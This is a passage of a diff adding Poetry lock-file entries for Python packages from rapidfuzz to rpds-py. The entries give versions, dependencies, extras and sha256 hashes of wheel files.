"rapidfuzz-3.13.0-cp39-cp39-win_arm64.whl", hash = "sha256:435071fd07a085ecbf4d28702a66fd2e676a03369ee497cc38bcb69a46bc77e2"}, + {file = "rapidfuzz-3.13.0-pp310-pypy310_pp73-macosx_10_15_x86_64.whl", hash = "sha256:fe5790a36d33a5d0a6a1f802aa42ecae282bf29ac6f7506d8e12510847b82a45"}, + {file = "rapidfuzz-3.13.0-pp310-pypy310_pp73-macosx_11_0_arm64.whl", hash = "sha256:cdb33ee9f8a8e4742c6b268fa6bd739024f34651a06b26913381b1413ebe7590"}, + {file = "rapidfuzz-3.13.0-pp310-pypy310_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:8c99b76b93f7b495eee7dcb0d6a38fb3ce91e72e99d9f78faa5664a881cb2b7d"}, + {file = "rapidfuzz-3.13.0-pp310-pypy310_pp73-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:6af42f2ede8b596a6aaf6d49fdee3066ca578f4856b85ab5c1e2145de367a12d"}, + {file = "rapidfuzz-3.13.0-pp310-pypy310_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6c0efa73afbc5b265aca0d8a467ae2a3f40d6854cbe1481cb442a62b7bf23c99"}, + {file = "rapidfuzz-3.13.0-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:7ac21489de962a4e2fc1e8f0b0da4aa1adc6ab9512fd845563fecb4b4c52093a"}, + {file = "rapidfuzz-3.13.0-pp311-pypy311_pp73-macosx_10_15_x86_64.whl", hash = "sha256:1ba007f4d35a45ee68656b2eb83b8715e11d0f90e5b9f02d615a8a321ff00c27"}, + {file = "rapidfuzz-3.13.0-pp311-pypy311_pp73-macosx_11_0_arm64.whl", hash = "sha256:d7a217310429b43be95b3b8ad7f8fc41aba341109dc91e978cd7c703f928c58f"}, + {file = "rapidfuzz-3.13.0-pp311-pypy311_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:558bf526bcd777de32b7885790a95a9548ffdcce68f704a81207be4a286c1095"}, + {file = "rapidfuzz-3.13.0-pp311-pypy311_pp73-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:202a87760f5145140d56153b193a797ae9338f7939eb16652dd7ff96f8faf64c"}, + {file = "rapidfuzz-3.13.0-pp311-pypy311_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:cfcccc08f671646ccb1e413c773bb92e7bba789e3a1796fd49d23c12539fe2e4"}, + {file = "rapidfuzz-3.13.0-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:1f219f1e3c3194d7a7de222f54450ce12bc907862ff9a8962d83061c1f923c86"}, + {file = "rapidfuzz-3.13.0-pp39-pypy39_pp73-macosx_10_15_x86_64.whl", hash = "sha256:ccbd0e7ea1a216315f63ffdc7cd09c55f57851afc8fe59a74184cb7316c0598b"}, + {file = "rapidfuzz-3.13.0-pp39-pypy39_pp73-macosx_11_0_arm64.whl", hash = "sha256:a50856f49a4016ef56edd10caabdaf3608993f9faf1e05c3c7f4beeac46bd12a"}, + {file = "rapidfuzz-3.13.0-pp39-pypy39_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0fd05336db4d0b8348d7eaaf6fa3c517b11a56abaa5e89470ce1714e73e4aca7"}, + {file = "rapidfuzz-3.13.0-pp39-pypy39_pp73-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:573ad267eb9b3f6e9b04febce5de55d8538a87c56c64bf8fd2599a48dc9d8b77"}, + {file = "rapidfuzz-3.13.0-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:30fd1451f87ccb6c2f9d18f6caa483116bbb57b5a55d04d3ddbd7b86f5b14998"}, + {file = "rapidfuzz-3.13.0-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:a6dd36d4916cf57ddb05286ed40b09d034ca5d4bca85c17be0cb6a21290597d9"}, + {file = "rapidfuzz-3.13.0.tar.gz", hash = "sha256:d2eaf3839e52cbcc0accbe9817a67b4b0fcf70aaeb229cfddc1c28061f9ce5d8"}, +] + +[package.extras] +all = ["numpy"] + +[[package]] +name = "redis" +version = "6.4.0" +description = "Python client for Redis database and key-value store" +optional = false +python-versions = ">=3.9" +groups = ["main"] +files = [ + {file = "redis-6.4.0-py3-none-any.whl", hash = "sha256:f0544fa9604264e9464cdf4814e7d4830f74b165d52f2a330a760a88dd248b7f"}, + {file = "redis-6.4.0.tar.gz", hash = "sha256:b01bc7282b8444e28ec36b261df5375183bb47a07eb9c603f284e89cbc5ef010"}, +] + +[package.extras] +hiredis = ["hiredis (>=3.2.0)"] +jwt = ["pyjwt (>=2.9.0)"] +ocsp = ["cryptography (>=36.0.1)", "pyopenssl (>=20.0.1)", "requests (>=2.31.0)"] + +[[package]] +name = "referencing" +version = "0.36.2" +description = "JSON Referencing + Python" +optional = false +python-versions = ">=3.9" +groups = ["main"] +files = [ + {file = "referencing-0.36.2-py3-none-any.whl", hash = "sha256:e8699adbbf8b5c7de96d8ffa0eb5c158b3beafce084968e2ea8bb08c6794dcd0"}, + {file = "referencing-0.36.2.tar.gz", hash = "sha256:df2e89862cd09deabbdba16944cc3f10feb6b3e6f18e902f7cc25609a34775aa"}, +] + +[package.dependencies] +attrs = ">=22.2.0" +rpds-py = ">=0.7.0" +typing-extensions = {version = ">=4.4.0", markers = "python_version < \"3.13\""} + +[[package]] +name = "regex" +version = "2025.7.34" +description = "Alternative regular expression module, to replace re." +optional = false +python-versions = ">=3.9" +groups = ["main"] +files = [ + {file = "regex-2025.7.34-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:d856164d25e2b3b07b779bfed813eb4b6b6ce73c2fd818d46f47c1eb5cd79bd6"}, + {file = "regex-2025.7.34-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:2d15a9da5fad793e35fb7be74eec450d968e05d2e294f3e0e77ab03fa7234a83"}, + {file = "regex-2025.7.34-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:95b4639c77d414efa93c8de14ce3f7965a94d007e068a94f9d4997bb9bd9c81f"}, + {file = "regex-2025.7.34-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:5d7de1ceed5a5f84f342ba4a9f4ae589524adf9744b2ee61b5da884b5b659834"}, + {file = "regex-2025.7.34-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:02e5860a250cd350c4933cf376c3bc9cb28948e2c96a8bc042aee7b985cfa26f"}, + {file = "regex-2025.7.34-cp310-cp310-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:0a5966220b9a1a88691282b7e4350e9599cf65780ca60d914a798cb791aa1177"}, + {file = "regex-2025.7.34-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:48fb045bbd4aab2418dc1ba2088a5e32de4bfe64e1457b948bb328a8dc2f1c2e"}, + {file = "regex-2025.7.34-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:20ff8433fa45e131f7316594efe24d4679c5449c0ca69d91c2f9d21846fdf064"}, + {file = "regex-2025.7.34-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:c436fd1e95c04c19039668cfb548450a37c13f051e8659f40aed426e36b3765f"}, + {file = "regex-2025.7.34-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:0b85241d3cfb9f8a13cefdfbd58a2843f208f2ed2c88181bf84e22e0c7fc066d"}, + {file = "regex-2025.7.34-cp310-cp310-musllinux_1_2_s390x.whl", hash = "sha256:075641c94126b064c65ab86e7e71fc3d63e7ff1bea1fb794f0773c97cdad3a03"}, + {file = "regex-2025.7.34-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:70645cad3407d103d1dbcb4841839d2946f7d36cf38acbd40120fee1682151e5"}, + {file = "regex-2025.7.34-cp310-cp310-win32.whl", hash = "sha256:3b836eb4a95526b263c2a3359308600bd95ce7848ebd3c29af0c37c4f9627cd3"}, + {file = "regex-2025.7.34-cp310-cp310-win_amd64.whl", hash = "sha256:cbfaa401d77334613cf434f723c7e8ba585df162be76474bccc53ae4e5520b3a"}, + {file = "regex-2025.7.34-cp310-cp310-win_arm64.whl", hash = "sha256:bca11d3c38a47c621769433c47f364b44e8043e0de8e482c5968b20ab90a3986"}, + {file = "regex-2025.7.34-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:da304313761b8500b8e175eb2040c4394a875837d5635f6256d6fa0377ad32c8"}, + {file = "regex-2025.7.34-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:35e43ebf5b18cd751ea81455b19acfdec402e82fe0dc6143edfae4c5c4b3909a"}, + {file = "regex-2025.7.34-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:96bbae4c616726f4661fe7bcad5952e10d25d3c51ddc388189d8864fbc1b3c68"}, + {file = "regex-2025.7.34-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:9feab78a1ffa4f2b1e27b1bcdaad36f48c2fed4870264ce32f52a393db093c78"}, + {file = "regex-2025.7.34-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:f14b36e6d4d07f1a5060f28ef3b3561c5d95eb0651741474ce4c0a4c56ba8719"}, + {file = "regex-2025.7.34-cp311-cp311-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:85c3a958ef8b3d5079c763477e1f09e89d13ad22198a37e9d7b26b4b17438b33"}, + {file = "regex-2025.7.34-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:37555e4ae0b93358fa7c2d240a4291d4a4227cc7c607d8f85596cdb08ec0a083"}, + {file = "regex-2025.7.34-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:ee38926f31f1aa61b0232a3a11b83461f7807661c062df9eb88769d86e6195c3"}, + {file = "regex-2025.7.34-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:a664291c31cae9c4a30589bd8bc2ebb56ef880c9c6264cb7643633831e606a4d"}, + {file = "regex-2025.7.34-cp311-cp311-musllinux_1_2_s390x.whl", hash = "sha256:f3e5c1e0925e77ec46ddc736b756a6da50d4df4ee3f69536ffb2373460e2dafd"}, + {file = "regex-2025.7.34-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:d428fc7731dcbb4e2ffe43aeb8f90775ad155e7db4347a639768bc6cd2df881a"}, + {file = "regex-2025.7.34-cp311-cp311-win32.whl", hash = "sha256:e154a7ee7fa18333ad90b20e16ef84daaeac61877c8ef942ec8dfa50dc38b7a1"}, + {file = "regex-2025.7.34-cp311-cp311-win_amd64.whl", hash = "sha256:24257953d5c1d6d3c129ab03414c07fc1a47833c9165d49b954190b2b7f21a1a"}, + {file = "regex-2025.7.34-cp311-cp311-win_arm64.whl", hash = "sha256:3157aa512b9e606586900888cd469a444f9b898ecb7f8931996cb715f77477f0"}, + {file = "regex-2025.7.34-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:7f7211a746aced993bef487de69307a38c5ddd79257d7be83f7b202cb59ddb50"}, + {file = "regex-2025.7.34-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:fb31080f2bd0681484b275461b202b5ad182f52c9ec606052020fe13eb13a72f"}, + {file = "regex-2025.7.34-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:0200a5150c4cf61e407038f4b4d5cdad13e86345dac29ff9dab3d75d905cf130"}, + {file = "regex-2025.7.34-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:739a74970e736df0773788377969c9fea3876c2fc13d0563f98e5503e5185f46"}, + {file = "regex-2025.7.34-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:4fef81b2f7ea6a2029161ed6dea9ae13834c28eb5a95b8771828194a026621e4"}, + {file = "regex-2025.7.34-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:ea74cf81fe61a7e9d77989050d0089a927ab758c29dac4e8e1b6c06fccf3ebf0"}, + {file = "regex-2025.7.34-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:e4636a7f3b65a5f340ed9ddf53585c42e3ff37101d383ed321bfe5660481744b"}, + {file = "regex-2025.7.34-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:6cef962d7834437fe8d3da6f9bfc6f93f20f218266dcefec0560ed7765f5fe01"}, + {file = "regex-2025.7.34-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:cbe1698e5b80298dbce8df4d8d1182279fbdaf1044e864cbc9d53c20e4a2be77"}, + {file = "regex-2025.7.34-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:32b9f9bcf0f605eb094b08e8da72e44badabb63dde6b83bd530580b488d1c6da"}, + {file = "regex-2025.7.34-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:524c868ba527eab4e8744a9287809579f54ae8c62fbf07d62aacd89f6026b282"}, + {file = "regex-2025.7.34-cp312-cp312-win32.whl", hash = "sha256:d600e58ee6d036081c89696d2bdd55d507498a7180df2e19945c6642fac59588"}, + {file = "regex-2025.7.34-cp312-cp312-win_amd64.whl", hash = "sha256:9a9ab52a466a9b4b91564437b36417b76033e8778e5af8f36be835d8cb370d62"}, + {file = "regex-2025.7.34-cp312-cp312-win_arm64.whl", hash = "sha256:c83aec91af9c6fbf7c743274fd952272403ad9a9db05fe9bfc9df8d12b45f176"}, + {file = "regex-2025.7.34-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:c3c9740a77aeef3f5e3aaab92403946a8d34437db930a0280e7e81ddcada61f5"}, + {file = "regex-2025.7.34-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:69ed3bc611540f2ea70a4080f853741ec698be556b1df404599f8724690edbcd"}, + {file = "regex-2025.7.34-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:d03c6f9dcd562c56527c42b8530aad93193e0b3254a588be1f2ed378cdfdea1b"}, + {file = "regex-2025.7.34-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:6164b1d99dee1dfad33f301f174d8139d4368a9fb50bf0a3603b2eaf579963ad"}, + {file = "regex-2025.7.34-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:1e4f4f62599b8142362f164ce776f19d79bdd21273e86920a7b604a4275b4f59"}, + {file = "regex-2025.7.34-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:72a26dcc6a59c057b292f39d41465d8233a10fd69121fa24f8f43ec6294e5415"}, + {file = "regex-2025.7.34-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:d5273fddf7a3e602695c92716c420c377599ed3c853ea669c1fe26218867002f"}, + {file = "regex-2025.7.34-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:c1844be23cd40135b3a5a4dd298e1e0c0cb36757364dd6cdc6025770363e06c1"}, + {file = "regex-2025.7.34-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:dde35e2afbbe2272f8abee3b9fe6772d9b5a07d82607b5788e8508974059925c"}, + {file = "regex-2025.7.34-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:f3f6e8e7af516a7549412ce57613e859c3be27d55341a894aacaa11703a4c31a"}, + {file = "regex-2025.7.34-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:469142fb94a869beb25b5f18ea87646d21def10fbacb0bcb749224f3509476f0"}, + {file = "regex-2025.7.34-cp313-cp313-win32.whl", hash = "sha256:da7507d083ee33ccea1310447410c27ca11fb9ef18c95899ca57ff60a7e4d8f1"}, + {file = "regex-2025.7.34-cp313-cp313-win_amd64.whl", hash = "sha256:9d644de5520441e5f7e2db63aec2748948cc39ed4d7a87fd5db578ea4043d997"}, + {file = "regex-2025.7.34-cp313-cp313-win_arm64.whl", hash = "sha256:7bf1c5503a9f2cbd2f52d7e260acb3131b07b6273c470abb78568174fe6bde3f"}, + {file = "regex-2025.7.34-cp314-cp314-macosx_10_13_universal2.whl", hash = "sha256:8283afe7042d8270cecf27cca558873168e771183d4d593e3c5fe5f12402212a"}, + {file = "regex-2025.7.34-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:6c053f9647e3421dd2f5dff8172eb7b4eec129df9d1d2f7133a4386319b47435"}, + {file = "regex-2025.7.34-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:a16dd56bbcb7d10e62861c3cd000290ddff28ea142ffb5eb3470f183628011ac"}, + {file = "regex-2025.7.34-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:69c593ff5a24c0d5c1112b0df9b09eae42b33c014bdca7022d6523b210b69f72"}, + {file = "regex-2025.7.34-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:98d0ce170fcde1a03b5df19c5650db22ab58af375aaa6ff07978a85c9f250f0e"}, + {file = "regex-2025.7.34-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:d72765a4bff8c43711d5b0f5b452991a9947853dfa471972169b3cc0ba1d0751"}, + {file = "regex-2025.7.34-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:4494f8fd95a77eb434039ad8460e64d57baa0434f1395b7da44015bef650d0e4"}, + {file = "regex-2025.7.34-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:4f42b522259c66e918a0121a12429b2abcf696c6f967fa37bdc7b72e61469f98"}, + {file = "regex-2025.7.34-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:aaef1f056d96a0a5d53ad47d019d5b4c66fe4be2da87016e0d43b7242599ffc7"}, + {file = "regex-2025.7.34-cp314-cp314-musllinux_1_2_s390x.whl", hash = "sha256:656433e5b7dccc9bc0da6312da8eb897b81f5e560321ec413500e5367fcd5d47"}, + {file = "regex-2025.7.34-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:e91eb2c62c39705e17b4d42d4b86c4e86c884c0d15d9c5a47d0835f8387add8e"}, + {file = "regex-2025.7.34-cp314-cp314-win32.whl", hash = "sha256:f978ddfb6216028c8f1d6b0f7ef779949498b64117fc35a939022f67f810bdcb"}, + {file = "regex-2025.7.34-cp314-cp314-win_amd64.whl", hash = "sha256:4b7dc33b9b48fb37ead12ffc7bdb846ac72f99a80373c4da48f64b373a7abeae"}, + {file = "regex-2025.7.34-cp314-cp314-win_arm64.whl", hash = "sha256:4b8c4d39f451e64809912c82392933d80fe2e4a87eeef8859fcc5380d0173c64"}, + {file = "regex-2025.7.34-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:fd5edc3f453de727af267c7909d083e19f6426fc9dd149e332b6034f2a5611e6"}, + {file = "regex-2025.7.34-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:fa1cdfb8db96ef20137de5587954c812821966c3e8b48ffc871e22d7ec0a4938"}, + {file = "regex-2025.7.34-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:89c9504fc96268e8e74b0283e548f53a80c421182a2007e3365805b74ceef936"}, + {file = "regex-2025.7.34-cp39-cp39-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:33be70d75fa05a904ee0dc43b650844e067d14c849df7e82ad673541cd465b5f"}, + {file = "regex-2025.7.34-cp39-cp39-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:57d25b6732ea93eeb1d090e8399b6235ca84a651b52d52d272ed37d3d2efa0f1"}, + {file = "regex-2025.7.34-cp39-cp39-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:baf2fe122a3db1c0b9f161aa44463d8f7e33eeeda47bb0309923deb743a18276"}, + {file = "regex-2025.7.34-cp39-cp39-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:1a764a83128af9c1a54be81485b34dca488cbcacefe1e1d543ef11fbace191e1"}, + {file = "regex-2025.7.34-cp39-cp39-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:c7f663ccc4093877f55b51477522abd7299a14c5bb7626c5238599db6a0cb95d"}, + {file = "regex-2025.7.34-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:4913f52fbc7a744aaebf53acd8d3dc1b519e46ba481d4d7596de3c862e011ada"}, + {file = "regex-2025.7.34-cp39-cp39-musllinux_1_2_ppc64le.whl", hash = "sha256:efac4db9e044d47fd3b6b0d40b6708f4dfa2d8131a5ac1d604064147c0f552fd"}, + {file = "regex-2025.7.34-cp39-cp39-musllinux_1_2_s390x.whl", hash = "sha256:7373afae7cfb716e3b8e15d0184510d518f9d21471f2d62918dbece85f2c588f"}, + {file = "regex-2025.7.34-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:9960d162f3fecf6af252534a1ae337e9c2e20d74469fed782903b24e2cc9d3d7"}, + {file = "regex-2025.7.34-cp39-cp39-win32.whl", hash = "sha256:95d538b10eb4621350a54bf14600cc80b514211d91a019dc74b8e23d2159ace5"}, + {file = "regex-2025.7.34-cp39-cp39-win_amd64.whl", hash = "sha256:f7f3071b5faa605b0ea51ec4bb3ea7257277446b053f4fd3ad02b1dcb4e64353"}, + {file = "regex-2025.7.34-cp39-cp39-win_arm64.whl", hash = "sha256:716a47515ba1d03f8e8a61c5013041c8c90f2e21f055203498105d7571b44531"}, + {file = "regex-2025.7.34.tar.gz", hash = "sha256:9ead9765217afd04a86822dfcd4ed2747dfe426e887da413b15ff0ac2457e21a"}, +] + +[[package]] +name = "requests" +version = "2.32.4" +description = "Python HTTP for Humans." +optional = false +python-versions = ">=3.8" +groups = ["main"] +files = [ + {file = "requests-2.32.4-py3-none-any.whl", hash = "sha256:27babd3cda2a6d50b30443204ee89830707d396671944c998b5975b031ac2b2c"}, + {file = "requests-2.32.4.tar.gz", hash = "sha256:27d0316682c8a29834d3264820024b62a36942083d52caf2f14c0591336d3422"}, +] + +[package.dependencies] +certifi = ">=2017.4.17" +charset_normalizer = ">=2,<4" +idna = ">=2.5,<4" +urllib3 = ">=1.21.1,<3" + +[package.extras] +socks = ["PySocks (>=1.5.6,!=1.5.7)"] +use-chardet-on-py3 = ["chardet (>=3.0.2,<6)"] + +[[package]] +name = "requests-toolbelt" +version = "1.0.0" +description = "A utility belt for advanced users of python-requests" +optional = false +python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*" +groups = ["main"] +files = [ + {file = "requests-toolbelt-1.0.0.tar.gz", hash = "sha256:7681a0a3d047012b5bdc0ee37d7f8f07ebe76ab08caeccfc3921ce23c88d5bc6"}, + {file = "requests_toolbelt-1.0.0-py2.py3-none-any.whl", hash = "sha256:cccfdd665f0a24fcf4726e690f65639d272bb0637b9b92dfd91a5568ccf6bd06"}, +] + +[package.dependencies] +requests = ">=2.0.1,<3.0.0" + +[[package]] +name = "rich" +version = "13.7.1" +description = "Render rich text, tables, progress bars, syntax highlighting, markdown and more to the terminal" +optional = false +python-versions = ">=3.7.0" +groups = ["main", "dev"] +files = [ + {file = "rich-13.7.1-py3-none-any.whl", hash = "sha256:4edbae314f59eb482f54e9e30bf00d33350aaa94f4bfcd4e9e3110e64d0d7222"}, + {file = "rich-13.7.1.tar.gz", hash = "sha256:9be308cb1fe2f1f57d67ce99e95af38a1e2bc71ad9813b0e247cf7ffbcc3a432"}, +] + +[package.dependencies] +markdown-it-py = ">=2.2.0" +pygments = ">=2.13.0,<3.0.0" + +[package.extras] +jupyter = ["ipywidgets (>=7.5.1,<9)"] + +[[package]] +name = "roman-numerals-py" +version = "3.1.0" +description = "Manipulate well-formed Roman numerals" +optional = false +python-versions = ">=3.9" +groups = ["main"] +files = [ + {file = "roman_numerals_py-3.1.0-py3-none-any.whl", hash = "sha256:9da2ad2fb670bcf24e81070ceb3be72f6c11c440d73bd579fbeca1e9f330954c"}, + {file = "roman_numerals_py-3.1.0.tar.gz", hash = "sha256:be4bf804f083a4ce001b5eb7e3c0862479d10f94c936f6c4e5f250aa5ff5bd2d"}, +] + +[package.extras] +lint = ["mypy (==1.15.0)", "pyright (==1.1.394)", "ruff (==0.9.7)"] +test = ["pytest (>=8)"] + +[[package]] +name = "rpds-py" +version = "0.26.0" +description = "Python bindings to Rust's persistent data structures (rpds)" +optional = false +python-versions = ">=3.9" +groups = ["main"] +files = [ + {file = "rpds_py-0.26.0-cp310-cp310-macosx_10_12_x86_64.whl", hash = "sha256:4c70c70f9169692b36307a95f3d8c0a9fcd79f7b4a383aad5eaa0e9718b79b37"}, + {file = "rpds_py-0.26.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:777c62479d12395bfb932944e61e915741e364c843afc3196b694db3d669fcd0"}, + {file = "rpds_py-0.26.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ec671691e72dff75817386aa02d81e708b5a7ec0dec6669ec05213ff6b77e1bd"}, + {file = "rpds_py-0.26.0-cp310-cp310-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:6a1cb5d6ce81379401bbb7f6dbe3d56de537fb8235979843f0d53bc2e9815a79"}, + {file = "rpds_py-0.26.0-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:4f789e32fa1fb6a7bf890e0124e7b42d1e60d28ebff57fe806719abb75f0e9a3"}, + {file = "rpds_py-0.26.0-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:9c55b0a669976cf258afd718de3d9ad1b7d1fe0a91cd1ab36f38b03d4d4aeaaf"}, + {file = "rpds_py-0.26.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c70d9ec912802ecfd6cd390dadb34a9578b04f9bcb8e863d0a7598ba5e9e7ccc"}, + {file = "rpds_py-0.26.0-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:3021933c2cb7def39d927b9862292e0f4c75a13d7de70eb0ab06efed4c508c19"}, + {file = "rpds_py-0.26.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:8a7898b6ca3b7d6659e55cdac825a2e58c638cbf335cde41f4619e290dd0ad11"}, + {file = "rpds_py-0.26.0-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:12bff2ad9447188377f1b2794772f91fe68bb4bbfa5a39d7941fbebdbf8c500f"}, + {file = "rpds_py-0.26.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:191aa858f7d4902e975d4cf2f2d9243816c91e9605070aeb09c0a800d187e323"}, + {file = "rpds_py-0.26.0-cp310-cp310-win32.whl", hash = "sha256:b37a04d9f52cb76b6b78f35109b513f6519efb481d8ca4c321f6a3b9580b3f45"}, + {file = "rpds_py-0.26.0-cp310-cp310-win_amd64.whl", hash = "sha256:38721d4c9edd3eb6670437d8d5e2070063f305bfa2d5aa4278c51cedcd508a84"}, + {file = "rpds_py-0.26.0-cp311-cp311-macosx_10_12_x86_64.whl", hash = "sha256:9e8cb77286025bdb21be2941d64ac6ca016130bfdcd228739e8ab137eb4406ed"}, + {file = "rpds_py-0.26.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:5e09330b21d98adc8ccb2dbb9fc6cb434e8908d4c119aeaa772cb1caab5440a0"}, + {file = "rpds_py-0.26.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:2c9c1b92b774b2e68d11193dc39620d62fd8ab33f0a3c77ecdabe19c179cdbc1"}, + {file = "rpds_py-0.26.0-cp311-cp311-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:824e6d3503ab990d7090768e4dfd9e840837bae057f212ff9f4f05ec6d1975e7"}, + {file = "rpds_py-0.26.0-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:8ad7fd2258228bf288f2331f0a6148ad0186b2e3643055ed0db30990e59817a6"}, + {file = "rpds_py-0.26.0-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:0dc23bbb3e06ec1ea72d515fb572c1fea59695aefbffb106501138762e1e915e"}, + {file = "rpds_py-0.26.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d80bf832ac7b1920ee29a426cdca335f96a2b5caa839811803e999b41ba9030d"}, + {file = "rpds_py-0.26.0-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:0919f38f5542c0a87e7b4afcafab6fd2c15386632d249e9a087498571250abe3"}, + {file = "rpds_py-0.26.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:d422b945683e409000c888e384546dbab9009bb92f7c0b456e217988cf316107"}, + {file = 